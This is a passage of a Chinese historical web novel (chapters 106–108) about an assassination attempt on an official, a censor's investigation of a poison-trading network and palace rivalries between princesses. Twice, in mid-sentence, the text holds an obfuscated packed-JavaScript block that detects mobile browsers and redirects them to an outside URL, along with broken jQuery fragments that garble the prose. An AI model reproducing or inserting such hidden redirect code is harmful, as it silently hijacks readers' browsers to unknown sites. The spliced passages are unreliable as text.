胆上生寒,冬至护着不甚清醒的郇寰缓慢贴近高墙,将前后步步包抄过来的刺客换到了左右手两边,将被晚风激得头疼欲裂的郇寰按到了墙前。 “你们是什么人!胆敢当街刺杀朝廷命官!”冬至暴喝,紧张之中用余光打探深巷两边,瞟得灯火就在不远,可刺客还能这样大胆。 这一伙人都蒙着脸,身形不一,走路的步伐姿态不一。冬至是练过的,能从人走路时的发力判断得出,除了为首的那个方才上车行刺的男人是个练家子,其余的都是花拳绣脚只知道使蛮力的。 为首的男人没有说话,倒是另外一个五短身材的朝着冬至身后的郇寰怒呵:“杀的就是你这个狗官!” 随即,这群人一拥而上。 冬至心里有了数,便刻意避开与为首那人正面交锋,又借了这人攻过来的力道,拽住了这人的衣领飞身而起,撂倒了边上人,一跃而下,踩在了一人背上。连带着将这个人也被他揪得翻了个面时,冬至调转刀柄,迎上直扑面门的刀刃,脚下重重碾着一人腰椎,在一声惨叫之中,勾起地上俯趴着哀嚎的人脱手的刀,闪身让开,带这此人一并朝虚空跌去,改手攥了被他带起了刀柄,借力朝为首这人暴露出的背上砍去。 冬至的力道很足,为首这人也是哀嚎一身跌落在地。冬至不恋战,左右几刀砍翻了围攻而来的两个人,回首就见郇寰被一人逼在了墙上,本该握在他手中防守的匕首这时落到了歹人手里,锋利的刀尖正渐渐逼近他的咽喉。 喝了酒,郇寰的拼死格挡本就失了力气,头还是崩裂了般的疼痛不止。就在刀口将近,冬至解决了另一挡路的刺客、又被从地上爬起的为首者缠住之时,郇寰终于快要坚持不住,干脆用本就石头般沉重的脑袋狠狠撞了过去,在这人吃痛的刹那,将刀推回、推偏了些许。 可这人的力气太大,双手顺力攥着匕首,直接刺入了郇寰右腰肋下。 106. 第一百零六章 守心难 冬至将旁人处理干净过后,一刀砍翻了此人,而此刻的郇寰已经跌坐在地。冬夜里血凝得快,粘在指间感觉异样,酒精麻痹了些许疼痛,倒让这样的感觉愈发清晰。郇寰脱力地松了手,将匕首的柄露在了冬至眼前。 “主子!” 冬至跪匐下来,要查看伤势,郇寰却攥住冬至的袖子,将几个带着血气的混糊不清的字眼艰难地吐了出来:“活……口……” 冬至即刻回神,见被自己砍翻的那人还没死,即刻扯了他的面具,捏着他的脖间命脉逼问:“谁指示你们的!” 那男人露出掺血的黄牙:“无人指使!” 冬至手上用了劲,就见这男人吃不住力道,居然就此昏死过去。他连忙撒手,撕了自己还算干净的内衬,揉成团堵在匕首处给郇寰止血,直到此时,巷口才有人打着灯迟疑地走来。 借着这一脉如同萤虫般的光亮,冬至就见郇寰脸上的酡红褪得一干二净,苍白的脸上不知溅上了何人的鲜血,红白相映,一缕病气与一缕妖异缠绕着升腾而起,让人见了倍感冲击。 “啊!死人了!” 来人跌了灯笼,尖叫着跑出横尸满地的深巷。 ** 沈明枳借道洛阳东都时,正月已入末尾,年中喧嚣已渐平息。只是途经此地,洛阳东都的氛围尤其肃杀,他们入城尚且要检查三遍,出城更加严厉,两都兵马司的官兵严阵城门,势必连一只苍蝇也不能飞出洛阳。 这倒让沈明枳有些后悔入城的决定,但孙先生和月珰一再坚持她必须要好好休息休息。她对自己的身体状况也算清楚,但架不住一颗心都被杂事架在火上烤,根本没法平心静气地去休息。 “怎么样?出什么事了?”沈明枳还坐在客房中等孙先生熬安神药,临窗看着楼下阔大的一条路上接头衔尾长长的一串官轿往来。 正月里天总黑得特别早,此刻观街十分模糊,再加上护卫家仆举着火把移动,那长长的焰舌被晚风吹得又长又亮,直与对面歌楼上的华灯一同晃得沈明枳眼睛疼。 月珰连忙将叠好了摆在床头的大氅拿起给她披上,“殿下当心别再着凉了。” 沈明枳合上窗,将寒风的呜咽和人事的嘈杂都关在房外,“究竟出了什么事?” “日前洛阳知县为下属举报以权谋私,五天前这位知县就携家私出逃……” “既然是纲纪问题,那案子必然是交到察院了。” “对,都察院特意派了御史来,今早刚到……” 沈明枳蹙眉,月珰立刻止住话头,“殿下?怎么了?有什么不对吗?” 沈明枳理着袖子:“其一,洛阳当地就有察院御史,这案子看起来也算不上什么大案,何至于劳动都察院亲遣御史费时费力?其二,化隆到洛阳不过两日脚程,除去消息传递、处理的耽搁,算起来昨日御史就该到了,为何会拖到今天?” 月珰一愣,随机叹气过后苦笑道:“那殿下可猜得到都察院派来了哪位御史大人?” 沈明枳认真想了想:“即便这案子真不简单,佥都御史也够了,左佥都御史梁树远不常掺和外地公差,都察院为着培养新人,应该会派在信州立过功的尚兆魁,或者是什么都掺和一脚的介含清。” 月珰看着沈明枳抿了抿唇,顿了顿开口说出一个足以让她们两个都为之震动的人:“是总宪。” 一息。 两息。 三息。 沈明枳倏然站起,“备车。” 月珰拦了上来,但沈明枳去意已决,轻轻拂开她就叫进了暗卫,暗卫自然唯她是从,顶着夜幕就小心套好了车。这座客栈是临川名下的产业,老板深知东家与这位贵人的渊源,不仅好生招待还帮忙遮掩,顺便指了去察院的近路。 柳曦既现下办公用的这间房比他自家的书房宽敞了不少,可他这个人也比当初书房之中严肃了不少,礼节自然是从未错过漏过,心境是全然不同。 沈明枳开门见山:“柳大人处是否有一份巽山道人的亲撰?” 柳曦既只是在沈明枳的眉心凝眸片刻,似是在认真看她一路奔波后的憔悴,脑中却在这瞬息万变间将事情的来龙去脉条分缕析地理清楚,得到“综上所述”的答案后,便将压在一叠卷宗之下的一本不厚不薄的小册子抽了出来递到她眼前,嘴上说的却是:“公主不问问,臣为何会在这?” 沈明枳的目光从那本册子移到了柳曦既脸上,双手接过册子后又垂下了眼,似是对这件事情一点也不感兴趣,小心翻开书页,粗略地看上几眼,“大人自然有大人的道理。 柳曦既默然,片刻后自言自语:“洛阳知县卢有孝之妻康氏,出身西越道彩云康家,多年前就通过姻亲关系成为化隆达官贵人与彩云神女庙的纽带,行贩毒贩药的勾当,富埒陶白,赀巨程罗。” 沈明枳动作一顿,又听:“然而几日前卢有孝得到消息,说神女庙的巽山道人死在了江西,恰好又有人举报他,惊惧万分之下就裹挟了金银细软连夜出逃,不过最后还是抓住了,在狱中供出了不少东西。” 柳曦既说罢,起身,将桌案上一叠按了手印的纸一张张翻起,直到找到了一张没有鲜红手印的口供,方才拿着那张纸,从桌案后绕了出来,走到沈明枳眼前。 “这就是公主,费尽心思,以身犯险,都想找到的东西。” 沈明枳不敢看柳曦既的眼睛,只是在柳曦既的影子里,放下那本让她心心念念、夜不能寐的“罪状集”,抖着手要去接他展在空中的东西。可她进一步,他退一步,她干脆站了起来作势要去抢,但柳曦既只是将那张只有几行字、但一笔一划都写满了“真相”二字的口供背到了身后。 其实沈明枳甚至都不知道,柳曦既指的是到底什么真相,但他说了,这是她“费尽心思、以身犯险”都要找到的东西。 柳曦既自有他的道理。 沈明枳深深吸了一口气,发觉这一口气的寒凉不是来自正月的空气,而是柳曦既。 她咬牙,躬身朝这个如同天地栋梁的人揖礼,“请柳大人,给我。” 柳曦既知道她的倔,也知道自己再劝也未必有用,但本着他当年向故太子许下的那个承诺,他又要多嘴最后一次:“公主,他们不会希望看到你这样的。” “他们不会希望看到你这样的。” 很多年前柳曦既也是这么说的。 彼时故太子新丧,她反复回味着太子长兄临终遗言,终于在梅问香死后下了决心。 曾经聚在东宫的年轻人一个个被调走支开,只有柳曦既留在了都察院,留在了化隆,留在了原地。太子长兄那么说的,她若走投无路,可以找柳曦既或者窦宙,他们会帮。 她就找了柳曦既,然后知道他们会帮,会帮她逃,会帮她找一个远离纷争的安宁之所,独独不是帮她复仇。 她明白太子长兄告诫她远离朝廷、后宫、兄弟姐妹,不是隐晦暗示让自己为他复仇,而是要好好活下去。她与大姐姐一样,受了太多宠爱和嫉恨,从前有他这个太子在,海阔天空任意翱翔,宠爱与嫉恨再多些又何妨,但现在不一样了,他不能再将这片天高高撑起,他要死了。 他已经死了。 柳曦既也是这么劝的。 但他不明白自己,又或者他明白但要装作不明白。因为某种意义上来说,她和戒子一样,都是负担和拖累。戒子是她的负担,她是柳曦既的负担。因为这样那样的原因,一个人总会踟蹰不前,但柳曦既誓死都要走下去,他怎么情愿被这些羁绊,可他又许下了会护她周全的诺言。 如果她能听话,那便能皆大欢喜。 但沈明枳怎么能够甘心。 “请柳大人给我!” 柳曦既缄口不语,一动不动。 “给我!” 柳曦既舒出一口气,将那张纸递到她手掌之上,眼睛看着墙上的木雕刻像,一时之间他觉得也有人在他心上也这样雕了一只狴犴。他轻声道,开口的刹那竟然让他自己也吃了一惊,他的声音从来都是冷而硬的,就如他这个人一般,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187948|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时他的声音竟然有了温度,“殿下还记得那八个字么,‘守心如一,不染世霪’,看了过后,殿下还能做到吗。” 守心如一,不染时霪。 这是当年太子还在的时候,自鲁地来的庄老夫子给他们讲了一通圣君贤臣的理想之境后,引朱熹的警句“天下之难持者莫如心,天下之易染者莫如欲”作结得出的箴言劝慰。沈明枳年纪还小,起先还是个会问“鲁夫子为什么不姓孔”引来哄堂大笑的顽劣性子,但这八个字后来还是结结实实打在了心上,直让不知天高地厚的她以为自己如士子一般受了鞭策也就能跟士子一般,去追什么君君臣臣,去求什么生民立命,直走上了今天这条偏颇的路来。 她现在确定,柳曦既懂她的,所以他再三阻止,所以他劝自己悬崖勒马。 但他做这些事的初衷并不是懂她,而是那个承诺。 沈明枳抬起手扯上那张纸,“柳大人,您已经救过我一次了,您不欠任何人的,谢谢你。” 柳曦既一怔,手指就这样不曾防备地看着囊中之物陷入她手。他本还想最后无耻一把,这张纸有字的一半全被他捏在手中,只等沈明枳扯着另一半的时候他用力一撕。 谁曾想她竟然根本没有给他机会。 宫变那晚他去而复返,她用心查上一查就能猜出个七八。但听她这个话头,好像他柳曦既向故太子许下的承诺只是救她一命,而非他亲口所说护她周全。 这是什么意思? 故太子只告诉她,他只能救她一次,余后的艰难都得靠她自己么?这算知妹莫若兄?不欲让她也像出塞和亲的大公主一样荒废在这虚无缥缈的“倚靠”二字中么? 等到沈明枳走了,这间屋子里又恢复了只剩下他一个人时的冷清,柳曦既才逐渐回过神:她避而不谈,她没有回答自己的问题。 她甚至都没有听出这番话的关节——他称之为“殿下”,而不是公主。 大公主出塞后,东宫只有一个公主,但自始至终除了她,东宫有很多殿下,比如说,故太子。所以即便太子故去,太子妃肚子中的小殿下故去,东宫只有她沈明枳这一位殿下了,他柳曦既也不曾改口称殿。 他又忽然想明白自己那一丝温度从何而来。 大公主在义律过得艰难,但送回大楚的书信却从不显悲,这并不是她报喜不报忧,以她的性子,必然也曾将痛苦付诸笔尖。但义律不允许,又不能断绝她和大楚的讯息往来,故而常常改换信件,用略显生硬的口吻、几乎不可能出现在大公主笔下的措辞习惯伪造一封家书瞒天过海。 帝后看不出端倪,但太子看得出。可他又能做什么? 最后随大公主的死讯一道送来的还有一封耽搁在路上的家书。 当时他就这样问过太子:“殿下还记得那八个字么,‘守心如一,不染世霪’,看了过后,殿下还能做到吗。” 他能够不痛不痒地问出这句话,是因为死去的那个人不是自己的血亲,那个由希望变得失望再到绝望的女子不在自己心里。所以见过世间善念被践踏、道义被粉碎过后,他柳曦既还能说一句“守心如一”,但他不确定太子能。 可日后若要为君为帝,又怎能被私情羁累。 他以为他的太子不会看的,但他看了,还坚定地说,他会的,他会努力做到的。 柳曦既几乎能想得出,当年他毅然拒绝同梅如故一样走上复仇之路时,该是多么面冷心硬的无情模样。 他自嘲地对着虚空暗夜笑了。 这位太子殿下,分明那么了解他,还偏偏要让他许下这样违心的诺言,让他画地为牢;而他要保护的人,就这样将他从这个牢笼解放,迫不及待地要摆脱他远离他,因为自己妨碍她去死。这算什么让人哭笑不得的机遇? 突然门外轻响,不阿扣了扣门。 柳曦既迅速理好了心情恢复了冷静,将沈明枳忘在这里的那本巽山道人亲撰的册子拾了起来,“进来。” 不阿躬身道:“卢有孝的家人都找到了。” 107. 第一百零七章 熊家鼐 柳曦既将册子放回原处,在已经被他翻过了的纸张里又抽出按了手印的来,递给不阿:“好好看管,移交刑部。” “是。”不阿没有立即离去,而是将口供收好,上前一步小声回禀道:“大人,长安废都的窝点查到了。” 柳曦既对巽山道人之死心有惋惜,但不可否认这一招打草惊蛇让他顺着册子上买卖记载,顺藤摸瓜地揪出了盘桓盛世之下的腌臜。 起先他按照册子上的记载,可以大致得到大宗毒药贩卖中转的地点,就其数量和频次来说,洛阳东都为首,长安废都屈居第二,然后就是湖广道的零州、淮海道的徐州。他再遣人调取都察院留档的当地、附近近十年的与官衙、商会相关的重大命案一一归类核对,那些死者的死因大多和册子上的毒药用途相符。 再深究细察,这些与官员任免、财富分配、势力划分息息相关的人命案的去向大致可以分为两类,官府中有人而圆满妥善解决,官府中无人而悬而未决不了了之。由此他可以借着这些命案的结局大致地在大楚疆域下织出一张势力牵扯的蜘蛛网,有些蛛网背后的主家一目了然,有些却扑朔迷离,但他可以断言结论的是,自西越道彩云神女庙流出的这些毒药,他不仅仅卖给了西南氏族出身的吴王,还有已经落败的逆王、现在风光无量的赵王。 不枉他亲自来一趟洛阳,提前一日到达却不放出风声,拷问了卢有孝整整一天,总算是明白洛阳东都这座毒窝究竟是谁的手笔。他本就做好了这一切的一切都要算到那个惯常以脆弱示人的吴王身上,但当他拿到了卢有孝血淋淋的口供,他柳曦既不由得第一次对自己得到的结果产生怀疑。 他同时惊觉自己攥着的是怎样一柄能够摧人骨肉、毁人神智的利刃。 “是靖安侯齐家。” 柳曦既眼里的嘲弄堆山积海。 他算是彻底看明白了,“情”之一字果然愚蠢。 试问,靖安侯世子齐珏真的有决定整个齐氏家族未来方向的力量么?他与大公主暧昧,又同时与宣国公主不清不楚,这是浪子风流;但最后在宣国公主逼婚之时,齐家一脚踹开了太子胞妹转而迎娶前路不明的赵王之姐,这真的是一个未辨男女的婴儿能够拥有的影响么?或者说,这真的是齐珏最后因为“情”字做出的选择么? 圣上与太子的父子情深,自圣上强逼众王年少就藩、不得回京、不得富贵之中就可窥得一二;圣上与皇后夫妻意重,自圣上宣布非皇后所出不得为储、非储不得为帝之中淋漓尽现。无论如何分析,当年齐家弃太子而助赵王就不可能是明智之举,但这一步他们齐家人走得这样坚定。 现在他可以这样推测了,当年齐家人之所以不走阳关道,或许是因为这长安废都的把柄不慎落到了赵王手中。长安废都之毒,不是一朝一夕就能建成的,齐家顶着靖安侯的爵位在改朝换代中屹立不倒,一为审时度势之功,二来大概就是毒药之效。赵王很需要这样的盟友为之披荆斩棘,但太子不容,如若太子登基,有朝一日东窗事发,这就是灭族灭门的大祸。 只有懵懂无知的大公主,为着自己的一番苦恋和齐珏的薄情,趟了这浑水丢了这条命。他和太子向来不看好大公主和齐珏,但碍于兄妹情谊,太子不曾多加劝诫,毕竟他们也不知道这状似简单的一桩情怨,背后竟然有这么多歹毒的算计。 但这一案中的深情薄情并不足以让他再度对“情”失望。 柳曦既挥了挥手,让不阿退出房间,熄了灯,到隔间冰冷的矮榻上和衣躺下。 最让人惊悚的,是东宫。 能够彻底击垮沈明枳的,也是东宫。 东宫太子之位,既高且寒。为了这个位子,欺骗是家常、谋害是寻常。 他对太子、太子妃之间的情感并不了解,对太子妃与吴王之间不得见天日的情感更是一无所知。但现在卢有孝的口供说,当年他在化隆,吴王曾亲自找他要过一种毒,无色无味但不致命,事后还不能让人查出来。这可就为难住他了,他卖的都是谋人性命的毒药,这样刁钻的东西他到哪里找。 不过还是找到了。 彼时太子新丧,太子妃与遗腹子还深居东宫。诸王以祭拜的名义进宫是常有,但重兵把守谁也不许靠近东宫和东宫里太子的遗脉。但就是这样的拱卫之中、太医院严密的关照之下,太子妃莫名其妙滑了胎、丢了命。 他曾经从醉酒后的梅如故口中听到过一点太子妃未嫁前的过往,但梅如故极其谨慎,他又对这些风花雪月之事不感兴趣,很快抛诸脑后。是一直到他得知沈明枳在暗中查西南神女庙后,趁着一次实在不能推脱的宴饮,刻意灌醉了梅如故那对他无有不从、无话不说的好弟弟梅依径,才又将这段无疾而终的感情拼凑出了轮廓。 杀人诛心,莫过于此。 柳曦既翻身将叠得整齐的被褥扯开盖在了身上。 巽山道人死在江西道,沈明枳又知道他这里有这样一份巽山道人亲撰的簿册,想必和藏匿已久的巽山道人之死脱不开干系。而郇海山在湖广道的零州出公差,不是去直捣龙城就又要演一出瞒天过海。 柳曦既再翻身。 梅依径说,太子妃还未出阁前,与梅如故最多的就是吵架,天天吵,什么事情都要吵,而吵的最多的事情,不是吴王,而是太子,不是婚嫁,而是国家。而梅如故此时最常驳斥的一句话是:“就凭我是宗子嫡嗣!” 这可怕的、该死的、永远也摆脱不了的责任。 柳曦既的呼吸一促。 他还记得父亲来化隆看他,没说几句又不欢而散。他说他是家中长子,是他母亲唯一的孩子,这么多期望、这么重的担子落在他的肩上,他需要一位妥帖的妻子来打理家务。 他是怎么和柳济道说的? 说他的妻子不是为了服务柳家而娶的,娶来也不是为了柳氏一族奉献的。且当年他把自己送走,不就是觉得他们不像父子、也当不成父子,只像仇人、只能当血脉相通的陌生人么。现在他们全然就是一对以“父子”相称的陌生人了,他却要问自己、逼自己,叫自己“回家”。 十一岁以后,他就是卜栾枝一手养大的,霍伊兰有自己的家庭,不过偶尔也会来看他。 他们都死后,他便没有家了。 所以最后,逼走柳济道时他是怎么说的? 所幸你我同道。 柳曦既长舒一口气。 一夜不眠。 ** “主子,熊知府来了。” 郇寰靠在床上隐囊,正翻着手中案卷,闻言将案卷往杯子里一塞,搓了搓发红发僵的指尖,冷脸应下了熊家鼐的虚礼。 熊家鼐带进来的冷气,让郇寰轻轻咳嗽了几声,熊家鼐连忙告罪,冬至拨旺了炉中炭火,蹲在一边替顺着气的郇寰问道:“熊知府,谋害我家主子的那伙歹人可查出来了?” 熊家鼐在窗前的矮墩上坐了,连连赔笑:“查出来了,尸体认过,活口审过了,就是法道寺下的普济堂伙计,心有怨怼——” 冬至冷笑:“药房伙计还会武功吗?” 熊家鼐脸上的赔笑僵硬起来,“这个……或许……” 冬至还想逼问,郇寰开口了:“迷药一说,确有其事吗?” “确有其事。” “查账了吗?” 熊家鼐脸上的笑彻底褪去,但瞬息之间又恭敬讨好地质疑起来:“这……这?郇侯,您这是何意?” 冬至琢磨了郇寰的脸色,替他口吻严肃地解释道:“法道寺是谁家的产业,知府大人心里清楚,普济堂又是谁家的产业,知府大人也清楚。” 这是要追究背后的那些豪族,可郇寰这个化隆来的赵王臂膀,因着断人财路尚且吃了这样的教训,他难道还感受不出,零州正月里的风,究竟该往哪头吹的吗? 熊家鼐心一沉,面上还要装无知装得辛苦:“郇侯您这是什么意思?” 郇寰没有耐心与之打擂台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203530|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给冬至使了一个眼色,在冬至退出内堂守住外门后,方才把已经被自己捂热乎的案卷掏了出来,甩在了熊家鼐的眼前,“两年前,前零州知府周舱,得了孙家送的两个姬妾,回家与之纠缠,精尽人亡,其妻身怀六甲,气得一尸两命,只剩下一个年仅五岁的女儿。其堂弟户部侍郎周舫,下江西道信州府办案,回程时顺便把堂侄女接到身边抚养,这些事情,熊知府也知道吧。” 熊家鼐脸色铁青。 郇寰继续说道:“两年前,和周舫一并在信州办案的人就是本官,故而也听说了周知府的其人,熊知府在零州也有两年了,想来也打听过这位周知府的为人,对周知府的死因也应该十分清楚了。” 熊家鼐刚要打断,郇寰冷笑一声:“尊夫人之事,我深表歉意。” 熊家鼐的震惊不可遏制,他抬起头,目光触及郇寰的冷沉,随即挪开视线不敢再对,生怕自己的恨意、悔意、痛意露出马脚,让他在郇寰眼前失了气势,可心里的恶寒越发肆虐。 这位郇侯已经开始威胁自己了,豪族已然怀疑到了自己头上,他们宁可错杀不愿放过,如果他把自己的这番借刀杀人的谋划捅了出来,周舱就是前车之鉴。可既然他已经知道了周舱之死另有蹊跷,也该明白,他熊家鼐是个怕死之人,他还要在此地等上一年,豪族的杀鸡儆猴一事已起作用,就算不是为了前程、为了三尺微命,自己也不可能向他投诚。 “郇侯……” 郇寰粗鲁地打断他:“熊知府,你以为迷药一事是如何被捅出来的?” 熊家鼐一愣,不可置信地抬头看他。 郇寰勾了唇角,语带讥讽:“你觉得周舱朝中有人,尚且得了这个下场,我尚主袭爵、官至二品,尚且吃了这个教训,所以无依无靠的你怕了,是么?那你为何不加入他们?谋划法道寺一出好戏演给谁看?” 其实迷药之事是如何被捅出来的,郇寰不知道,但周舫与周舱兄弟情深,在周舫冒着被御史弹劾的风险也要在危机关头绕路零州给兄弟收尸即可窥见,借上这样的巧合来敲打熊家鼐,有何不可?他要的只是开始的那个熊家鼐,那个不怕死、尝胆已久的熊家鼐。 熊家鼐沉默下来。 如果迷药一事,是藏在幕后、希冀于给周舱报仇雪恨之人的手笔,那就说得通了。普济堂本是孙家的产业,挂名留在了法道寺之下,为的就是借神佛香火大发富贵,他们也确实做到了,让普济堂成为零州当地数一数二的药堂,借此垄断了此地的药材行,每年有数不清的金银进账。 普济堂通过迷药与法道寺勾连,成了一条船上的蚂蚱,对迷药这条暗线必然会防之又防,法道寺出事后必然会编出千二八百个理由搪塞普罗大众。可就是这样严防死守,迷药的秘密还是败露了,败露之后的普济堂还被人牵扯入各种假冒伪劣之类的官司。 如若这一切都是周舱背后之人的手笔,那就说得通了。而普天之下,还愿意趟浑水给周舱这个已经身败名裂的死人讨回公道的,大概只有他远在化隆的血亲。何况周舱之死的源头,本就和此地豪族背地里的勾当脱不开干系,有人能顺着他留下来的线索摸出这些,意料之中。 姑且认为这位郇侯是为了给他自己报仇,才想要一查到底,他需要自己的帮助。可他熊家鼐真的有必要牵扯入他们的纷争吗?虽然郇侯之伤,为自己算计所致,他谋划之时也没想过孙家会如此大胆,连赵王身边的近臣都敢下手。 可连他都免不了皮肉之苦,自己真的能平安入京述职吗?入了京真的不会遭到户部侍郎周舫的为难吗? 炉中的火哔哔啵啵地炸着火星,屋外狂风呼啸。 熊家鼐认命,起身朝郇寰下拜:“郇侯想知道什么?” 郇寰的脸色这才稍稍松动。熊家鼐不会替自己鞍前马后地效力,但他愿意为自己提供一些独家秘闻、或是传递豪族之间的消息,这也很不错了,总好过他一个人蛮干。 “那就先说说迷药。” 108. 第一百零八章 美人刀 正月末化隆的雪依旧很深,一步步踩在雪里的感觉直让沈明枳想起从前,她还是个不及大人腰的孩童时,周遭所有的事物都是那样巨大,地上的积雪是渊一样的深,冬日里在雪中扑腾没几下就不见人影,吓得月珰和嬷嬷们魂不附体。 她以前最爱开这样的玩笑,但有一次开得过头,真的将侍候她的东宫宫女吓得独自垂泪,打算再找不到自己就投井自尽,幸好被羽林卫救了回来。而她,躲了一会儿发现没有人找到自己,自觉没趣拍了拍衣服上的雪,就溜达回温暖的宫殿烦人去了。 沈明枳第一次做噩梦,也就在那个时候。她发誓自己将来绝对不会再开这些不负责任的玩笑。而她对天地立誓、晚上大梦惊醒,远得仿佛已经是上辈子的事情了,当她再一次踏入这皑皑白雪之中,这如同被鬼怪偷走的童年记忆纷至沓来。 她呼出一口气,按照薜荔殿外巡逻的朱雀卫的指示,重新走上前往太医院的道路。 这条路上回与郇寰一同走过,指路的是百户魏俊秋,今日给她指路的还是魏俊秋,不过今非昔比,他已然是镇抚使了。在魏俊秋眼中,她沈明枳自然也今非昔比,当时她只是正二品大员的家眷,现在已经是位比亲王的兖国公主。 沈明枳懒得琢磨这样的想法中的漏洞,脑海中全都是宫人对长英的赞许,一些论及长英的圣宠与当年的自己不相上下的话尤为刺耳,心底对这些日子被世事揉搓得身心俱疲的窦晴柔又多了几分肯定。 圣上对她的好自然不必说,尤其在将近一个月没有入宫请安的情况下,父女俩更加亲近。但这不意味着她愿意看见宫中有这样一位赵王胞妹处处来分独属于她的宠爱。 这么说吧,她就像那些暂时代天理政的贤王,走上摄政道路前从未有过对权力的一丝一毫僭越的渴望,又因为却之不恭或者“主少国疑,大臣未附,百姓不信”等诸多掰扯不清、推拒不了的原因得到了权柄,行的是周公辅政之举。但当要完璧归赵的日子来临,却发现自己食髓知味,竟然已经成为了一个贪得无厌的窃国贼,无法容忍一朝一夕又屈居人下、回到人为刀俎、我为鱼肉的日子。 当然她这么形容过头了,但大抵天下从独生子女变成长兄长姐的孩子,大都会经历这样的落差和担忧。虽然她沈明枳真正在乎的并非圣上与她的父女情,她在乎的人早已离她远去,她很乐意更多的手无缚鸡之力的弟弟妹妹通过分享天家难得的亲情走上茁壮成长的朝阳大道,但长英不可以,就只有被窦晴柔一手调教长大的长英不可以。 从崔嫣处得知她与柳曦既那不为人知的的一段婚约后,转而告密于昏了头的长宁火上浇油,最后激得长宁以此来挑衅自己的人,就是她当时状似年幼无知的小妹妹长英。一旦有事情牵扯到长英,沈明枳第一个念头就是她背后的窦晴柔,但窦晴柔没有理由和好处激将长宁将沈明枳与赵王派的关系闹得天翻地覆;沈明枳甚至想不出除了寻开心,这个只有十一二岁的小姑娘这样刺激已经几近癫狂的亲姐姐,究竟是出于什么让人意想不到的目的? 崔嫣说她也是一个坏种,那她做的好事自然远不止这一件。但她真的又过于纯良无害了,聪慧机灵的模样是连沈明枳见了都要心生爱怜。 贯通皇城的西太平门甬道比直通东宫的东太平门甬道要热闹,一路上沈明枳遇见了不少熟悉面孔,譬如八百年不曾冒头的吴王母妃余氏的宫人,但最让她讶然的应当还要算说曹操曹操到的长英和一身绯色官袍、面容整肃的柳曦既并肩而行。 沈明枳当然不会相信什么恰巧顺路的鬼话,柳曦既这个左都御史八百年都不会走西边的宫门,长英亦是如此,能碰巧到这个地步怎么不去地下赌坊试试手气? 但面上沈明枳还是要极其和善的,言语措辞也是极其温柔的,笑着对向长身玉立的柳曦既,“柳大人怎么也往太医院来了?可是身体不适?” 西太平门甬道的尽头就是太医院院属,能走到这里与沈明枳直直撞上若不是去太医院,那就是闲逛完整条甬道出宫去的傻子。 柳曦既一揖:“劳十殿下挂怀,臣是为了案子前来。” 沈明枳顺势赞完了他的尽职尽责,觉得按常理柳曦既应该是想反驳几句她话中错漏,但今天他却意外地沉默,故而沈明枳只能刻意略开这些微的不同寻常,转而问向长英。 长英挽上沈明枳的手:“长英对西太平门这里一点也不熟悉,想着在出降之前多转转熟悉熟悉,不曾想今天十姐姐回宫看望父皇,长英还能在这里堵到姐姐,姐姐可不要生气我没有用心迎接呀。” 沈明枳微笑搭上她的手,瞥了一眼立在一旁默不作声的柳曦既,“怎么会,能见着你我就极开心了——柳大人亲自为了案子前来必然是急事,我们就不要耽搁他了。” 长英掩唇惊呼一声,连忙向柳曦既一礼,“真是不好意思柳大人,聊天聊得高兴了我竟然忘了,”随机娇俏地蹲身又是一礼:“长英给您赔罪了,您快去吧,您一定要一切顺利啊!” 柳曦既回了长英一个礼,一个不多一个不少,恭敬与疏离的分寸恰到好处,扫了笑盈盈无比慈祥的沈明枳一眼,互换过礼节后便大步往太医院去了。 沈明枳随即眸色沉沉,常年掩盖在睫毛之下让人莫辨浅深,方才长英状似无心的一句“聊天聊得高兴”直如一片石子,在水面之上打了几个轻盈的旋儿后迅速沉了下去不见踪迹。 往回走的路上,长英开始关心起沈明枳的身体,毕竟她消失了这么多天的理由也是去庄子上养病。她叽叽喳喳活脱脱是枝头的雀儿燕儿,不可否认这个小丫头可爱时很会哄人,很能让人心底畅快。 她穿着白狐裘、扎着艳罗裙、配着黄玉珏、踏着梅绣鞋,已然亭亭长成的六分少女的娇憨与四分成熟女子的妩媚在她身上混合得很好,随着举手投足、眼波流动,无形之中一刀一箭都正中心口,很容易就此放出按捺心底最深最旖旎的欲望。 沈明枳向来赞赏美,即便对苏霄那种淬着毒的四季长春花也不吝溢美之词,何况是长英。虽然客观地讲,从眉眼身段上评判,长英远不如她的两个亲姐姐美艳动人,尤其是宣国,沈明枳觉得完全可以用勾魂摄魄来形容。但美则美矣,她们的脑子完全就证实了“天地不仁,以万物为刍狗”这样的真理。 容颜终会老去,色衰而终于爱驰,虽然有着公主这样能一辈子碾压蝼蚁的皇家出身能保她们不至于沦落遗弃,但那种被替代遗忘的痛苦还是会准时到访。且最痛苦的不是今年花胜去年红,最让人肝肠寸断的是,曾远不如自己的人现在过得让自己难以望其项背。 很不幸,长英就是这样一个能让她的姐姐们都肝肠寸断的美人。 柳曦既是潭死水,故太子、梅如故、窦宙等千变万化的风都不能让他漾出一丝波纹,用冰湖描摹更贴切些,但柳曦既让人敬而远之的不是他三尺冰封的寒,而是对他深不可测的畏。他绝对不会是能与人相谈甚欢忘乎所以的人。 但长英这个小美人对他总有几分初生牛犊不怕虎的亲切劲,用几乎是暴虎冯河的勇,想将柳曦既这个坐惯了明净高堂的人拽到风雪尘泥里,与之共舞、与之欢愉、与之享生赴死。 浸淫已久,沈明枳如何看不出来她的这些心思。 